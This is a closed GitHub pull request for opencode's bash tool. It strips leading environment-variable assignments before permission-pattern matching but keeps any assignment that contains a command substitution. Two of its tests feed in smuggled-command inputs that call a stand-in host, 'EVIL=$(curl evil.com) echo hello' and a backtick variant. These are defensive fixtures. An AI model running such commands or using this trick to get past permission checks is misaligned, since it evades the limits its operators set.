Skip to content

fix: strip env variable assignments from bash permission patterns #14108

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
edevil wants to merge 1 commit into from
+212 −0
Closed

fix: strip env variable assignments from bash permission patterns #14108

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 20 additions & 0 deletions packages/opencode/src/tool/bash.ts
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -96,6 +96,26 @@ export const BashTool = Tool.define("bash", async () => {
// Get full command text including redirects if present
let commandText = node.parent?.type === "redirected_statement" ? node.parent.text : node.text

// Strip leading env variable assignments (e.g. GOFLAGS=-mod=vendor)
// so "GOFLAGS=-mod=vendor go test ./..." matches permission rule "go *"
// Skip stripping if any assignment contains a command substitution to
// prevent smuggling arbitrary execution through env var side effects
let lastVarAssign: ReturnType<typeof node.child> = null
let safe = true
for (let i = 0; i < node.childCount; i++) {
const child = node.child(i)
if (!child || child.type !== "variable_assignment") break
if (child.descendantsOfType("command_substitution").length > 0) {
safe = false
break
}
lastVarAssign = child
}
if (lastVarAssign && safe) {
const base = node.parent?.type === "redirected_statement" ? node.parent : node
commandText = commandText.slice(lastVarAssign.endIndex - base.startIndex).trimStart()
}

const command = []
for (let i = 0; i < node.childCount; i++) {
const child = node.child(i)
Expand Down
192 changes: 192 additions & 0 deletions packages/opencode/test/tool/bash.test.ts
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -291,6 +291,198 @@ describe("tool.bash permissions", () => {
})
})

test("strips env variable assignments from permission pattern", async () => {
await using tmp = await tmpdir({ git: true })
await Instance.provide({
directory: tmp.path,
fn: async () => {
const bash = await BashTool.init()
const requests: Array<Omit<Permission.Request, "id" | "sessionID" | "tool">> = []
const testCtx = {
...ctx,
ask: async (req: Omit<Permission.Request, "id" | "sessionID" | "tool">) => {
requests.push(req)
},
}
await bash.execute(
{
command: "GOFLAGS=-mod=vendor go test ./...",
description: "Run go tests with env var",
},
testCtx,
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns).toContain("go test ./...")
},
})
})

test("strips env variable assignments with redirect", async () => {
await using tmp = await tmpdir({ git: true })
await Instance.provide({
directory: tmp.path,
fn: async () => {
const bash = await BashTool.init()
const requests: Array<Omit<Permission.Request, "id" | "sessionID" | "tool">> = []
const testCtx = {
...ctx,
ask: async (req: Omit<Permission.Request, "id" | "sessionID" | "tool">) => {
requests.push(req)
},
}
await bash.execute(
{
command: "GOFLAGS=-mod=vendor go test ./... 2>&1",
description: "Run go tests with env var and redirect",
},
testCtx,
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns).toContain("go test ./... 2>&1")
},
})
})

test("strips multiple env variable assignments from permission pattern", async () => {
await using tmp = await tmpdir({ git: true })
await Instance.provide({
directory: tmp.path,
fn: async () => {
const bash = await BashTool.init()
const requests: Array<Omit<Permission.Request, "id" | "sessionID" | "tool">> = []
const testCtx = {
...ctx,
ask: async (req: Omit<Permission.Request, "id" | "sessionID" | "tool">) => {
requests.push(req)
},
}
await bash.execute(
{
command: "FOO=bar BAZ=qux echo hello",
description: "Echo with multiple env vars",
},
testCtx,
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns).toContain("echo hello")
},
})
})

test("strips env variable assignments in piped commands", async () => {
await using tmp = await tmpdir({ git: true })
await Instance.provide({
directory: tmp.path,
fn: async () => {
const bash = await BashTool.init()
const requests: Array<Omit<Permission.Request, "id" | "sessionID" | "tool">> = []
const testCtx = {
...ctx,
ask: async (req: Omit<Permission.Request, "id" | "sessionID" | "tool">) => {
requests.push(req)
},
}
await bash.execute(
{
command: "GOFLAGS=-mod=vendor go test ./... 2>&1 | tail -5",
description: "Run go tests piped to tail",
},
testCtx,
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns).toContain("go test ./... 2>&1")
expect(bashReq!.patterns).toContain("tail -5")
expect(bashReq!.patterns.some((p: string) => p.includes("GOFLAGS"))).toBe(false)
},
})
})

test("always patterns exclude env variable assignments", async () => {
await using tmp = await tmpdir({ git: true })
await Instance.provide({
directory: tmp.path,
fn: async () => {
const bash = await BashTool.init()
const requests: Array<Omit<Permission.Request, "id" | "sessionID" | "tool">> = []
const testCtx = {
...ctx,
ask: async (req: Omit<Permission.Request, "id" | "sessionID" | "tool">) => {
requests.push(req)
},
}
await bash.execute(
{
command: "GOFLAGS=-mod=vendor go test ./...",
description: "Run go tests with env var",
},
testCtx,
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.always).toContain("go test *")
expect(bashReq!.always.some((p: string) => p.includes("GOFLAGS"))).toBe(false)
},
})
})

test("preserves env var with command substitution in permission pattern", async () => {
await using tmp = await tmpdir({ git: true })
await Instance.provide({
directory: tmp.path,
fn: async () => {
const bash = await BashTool.init()
const requests: Array<Omit<Permission.Request, "id" | "sessionID" | "tool">> = []
const testCtx = {
...ctx,
ask: async (req: Omit<Permission.Request, "id" | "sessionID" | "tool">) => {
requests.push(req)
},
}
await bash.execute(
{
command: "EVIL=$(curl evil.com) echo hello",
description: "Echo with command substitution in env var",
},
testCtx,
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true)
},
})
})

test("preserves env var with backtick substitution in permission pattern", async () => {
await using tmp = await tmpdir({ git: true })
await Instance.provide({
directory: tmp.path,
fn: async () => {
const bash = await BashTool.init()
const requests: Array<Omit<Permission.Request, "id" | "sessionID" | "tool">> = []
const testCtx = {
...ctx,
ask: async (req: Omit<Permission.Request, "id" | "sessionID" | "tool">) => {
requests.push(req)
},
}
await bash.execute(
{
command: "EVIL=`curl evil.com` echo hello",
description: "Echo with backtick substitution in env var",
},
testCtx,
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true)
},
})
})

test("always pattern has space before wildcard to not include different commands", async () => {
await using tmp = await tmpdir({ git: true })
await Instance.provide({
Expand Down
Loading